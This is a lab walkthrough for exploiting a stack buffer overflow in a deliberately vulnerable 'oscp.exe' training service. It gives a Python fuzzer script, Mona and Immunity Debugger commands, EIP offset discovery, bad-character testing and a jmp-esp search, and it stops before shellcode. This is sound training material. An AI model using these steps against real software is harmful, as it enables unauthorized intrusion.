On your Kali box, connect to port 1337 on 10.10.103.192 using netcat:
nc 10.10.103.192 1337
Mona Configuration
!mona config -set workingfolder c:\mona\%p
Fuzzing
Create a file on my host Kali box called fuzzer.py with the following contents:
#!/usr/bin/env python3
import socket, time, sys
ip = "10.10.103.192"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
This file can be created by vim or nano or gedit.
vim fuzzer.py
type i
type ":set paste"
pasted the codes
type ":wq"
or nano fuzzer.py
or gedit fuzzer.py
example by vim:
root@kali:~#vim fuzzer.py
root@kali:~#cat fuzzer.py
#!/usr/bin/env python3
import socket, time, sys
ip = "10.10.103.192"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
Run the fuzzer.py script using python3
The fuzzer will send increasingly long strings comprised of As. If the fuzzer crashes the server with one of the strings, the fuzzer should exit with an error message. Make a note of the largest number of bytes that were sent.
python3 fuzzer.py
Crash Replication & Controlling EIP
Create another file on your Kali box called exploit.py with the following contents:
Run the following command to generate a cyclic pattern of a length 2000 bytes longer that the string that crashed the server (change the -l value to this):
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400
or
locate pattern_create.rb
/opt/metasploit-framework-5101/tools/exploit/pattern_create.rb
root@kali:/opt/metasploit-framework-5101/tools/exploit/pattern_create.rb -l 2400
copy the output and place it into the payload variable of the exploit.py script.
On Windows, in Immunity Debugger, re-open the oscp.exe again using the same method as before, and click the red play icon to get it running. You will have to do this prior to each time we run the exploit.py (which we will run multiple times with incremental modifications).
On Kali, run the modified exploit.py script: python3 exploit.py
The script should crash the oscp.exe server again. This time, in Immunity Debugger, in the command input box at the bottom of the screen, run the following mona command, changing the distance to the same length as the pattern you created:
!mona findmsp -distance 2400
Mona should display a log window with the output of the command. If not, click the "Window" menu and then "Log data" to view it (choose "CPU" to switch back to the standard view).
In this output you should see a line which states:
EIP contains normal pattern : 0x6f43396e (offset 1978)
Update your exploit.py script and set the offset variable to this value (was previously set to 0). Set the payload variable to an empty string again. Set the retn variable to "BBBB".
Restart oscp.exe in Immunity and run the modified exploit.py script again. The EIP register should now be overwritten with the 4 B's (e.g. 42424242).
Finding Bad Characters
Generate a bytearray using mona, and exclude the null byte (\x00) by default. Note the location of the bytearray.bin file that is generated (if the working folder was set per the Mona Configuration section of this guide, then the location should be C:\mona\oscp\bytearray.bin).
!mona bytearray -b "\x00"
Now generate a string of bad chars that is identical to the bytearray. The following python script can be used to generate a string of bad chars from \x01 to \xff:
for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()
Restart oscp.exe in Immunity and run the modified exploit.py script again.
Make a note of the address to which the ESP register points and use it in the following mona command:
!mona compare -f C:\mona\oscp\bytearray.bin -a <address>
A popup window should appear labelled "mona Memory comparison results". If not, use the Window menu to switch to it. The window shows the results of the comparison, indicating any characters that are different in memory to what they are in the generated bytearray.bin file.
Not all of these might be badchars! Sometimes badchars cause the next byte to get corrupted as well, or even effect the rest of the string.
The first badchar in the list should be the null byte (\x00) since we already removed it from the file. Make a note of any others. Generate a new bytearray in mona, specifying these new badchars along with \x00. Then update the payload variable in your exploit.py script and remove the new badchars as well.
Restart oscp.exe in Immunity and run the modified exploit.py script again. Repeat the badchar comparison until the results status returns "Unmodified". This indicates that no more badchars exist.
Finding a Jump Point
With the oscp.exe either running or in a crashed state, run the following mona command, making sure to update the -cpb option with all the badchars you identified (including \x00):
!mona jmp -r esp -cpb "\x00"
This command finds all "jmp esp" (or equivalent) instructions with addresses that don't contain any of the badchars specified. The results should display in the "Log data" window (use the Window menu to switch to it if needed).
Choose an address and update your exploit.py script, setting the "retn" variable to the address, written backwards (since the system is little endian). For example if the address is \x01\x02\x03\x04 in Immunity, write it as \x04\x03\x02\x01 in your exploit.
